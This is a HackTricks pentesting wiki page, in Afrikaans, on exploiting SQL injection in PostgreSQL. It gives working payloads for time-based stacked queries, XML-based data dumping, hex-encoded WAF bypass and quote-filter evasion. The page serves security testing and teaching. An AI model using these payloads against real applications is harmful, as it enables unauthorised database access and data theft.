hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

7.1 KiB

PostgreSQL-inspuiting

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons is op soek na mense! (vloeiend in geskryf en gesproke Pools vereis).

{% embed url="https://www.stmcyber.com/careers" %}


Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis te benut en om die truuks aan te vul wat jy kan vind op https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging respons openbaarmaking & Exfiltrasie

Die PostgreSQL-module dblink bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die COPY FROM funksionaliteit, stel aksies soos privilege escalatie, poortskandering, en NTLM-uitdaging respons vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om hierdie aanvalle uit te voer.

Jy kan hierdie voorbeeld lees om 'n CTF-voorbeeld te sien van hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam van die funksie dblink_connect te exfiltreer.

PostgreSQL-aanvalle: Lees/skryf, RCE, privesc

Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF omseiling

PostgreSQL String funksies

Die manipulasie van stringe kan jou help om WAF's of ander beperkings te omseil.
Op hierdie bladsy kan jy nuttige String funksies vind.

Gestapelde Vrae

Onthou dat postgresql gestapelde vrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggestuur word wanneer net 1 verwag word. Maar, jy kan steeds die gestapelde vrae misbruik via Tyd inspuiting:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML truuks

query_to_xml

Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy 'n groot hoeveelheid data in net 1 ry wil dump:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Hierdie funksie sal die hele databasis in XML-formaat in net 1 ry dump (wees versigtig as die databasis baie groot is, aangesien jy dit dalk DoS of selfs jou eie kliënt kan beïnvloed):

SELECT database_to_xml(true,true,'');

Strings in Hex

As jy navrae kan uitvoer deur dit binne 'n string te stuur (byvoorbeeld deur die query_to_xml funksie te gebruik). Jy kan die convert_from gebruik om die string as hex te stuur en filters op hierdie manier te omseil:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Verbode aanhalings

As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met CHR vir basiese clausules (karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Of met $. Hierdie vrae lewer dieselfde resultate:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

As jy belangstel in 'n hacking loopbaan en die onhackbare hack - ons huur aan! (vloeiend Pools geskryf en gesproke vereis).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}